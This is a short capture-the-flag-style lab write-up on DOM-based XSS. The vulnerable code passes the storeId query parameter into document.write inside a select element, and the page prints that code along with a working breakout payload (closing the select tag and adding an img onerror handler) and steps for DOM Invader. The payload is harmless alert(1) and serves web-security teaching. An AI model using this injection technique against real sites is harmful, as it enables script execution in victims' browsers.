Skip to content

DOM XSS in document.write sink using source location.search inside a select element

Vulnerable Code

From product?productId=1, document.write takes input from windows.location.search:

var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
  document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
  if(stores[i] === store) {
    continue;
  }
  document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

And /resources/js/stockCheck.js :

document.getElementById("stockCheckForm").addEventListener("submit", function(e) {
    checkStock(this.getAttribute("method"), this.getAttribute("action"), new FormData(this));
    e.preventDefault();
});

function checkStock(method, path, data) {
    const retry = (tries) => tries == 0
        ? null
        : fetch(
            path,
            {
                method,
                headers: { 'Content-Type': window.contentType },
                body: payload(data)
            }
          )
            .then(res => res.status === 200
                ? res.text().then(t => isNaN(t) ? t : t + " units")
                : "Could not fetch stock levels!"
            )
            .then(res => document.getElementById("stockCheckResult").innerHTML = res)
            .catch(e => retry(tries - 1));

    retry(3);
}

Exploit

/product?productId=1&storeId=haxhax renders haxhax on the page:

Inspect the element to see how it's rendered in HTML:

Use " to inject a closing tag and the payload. Remember that innerHTML doesn't accept script tags so img or iframe is needed:

/product?productId=1&storeId=haxhax"></select><img%20src%20onerror=alert(1)>

Using DOM Invader

Copy the canary string from DOM Invader and put it into the storeId parameter:

The canary should show up under Sinks:

Click "Exploit" to complete the lab.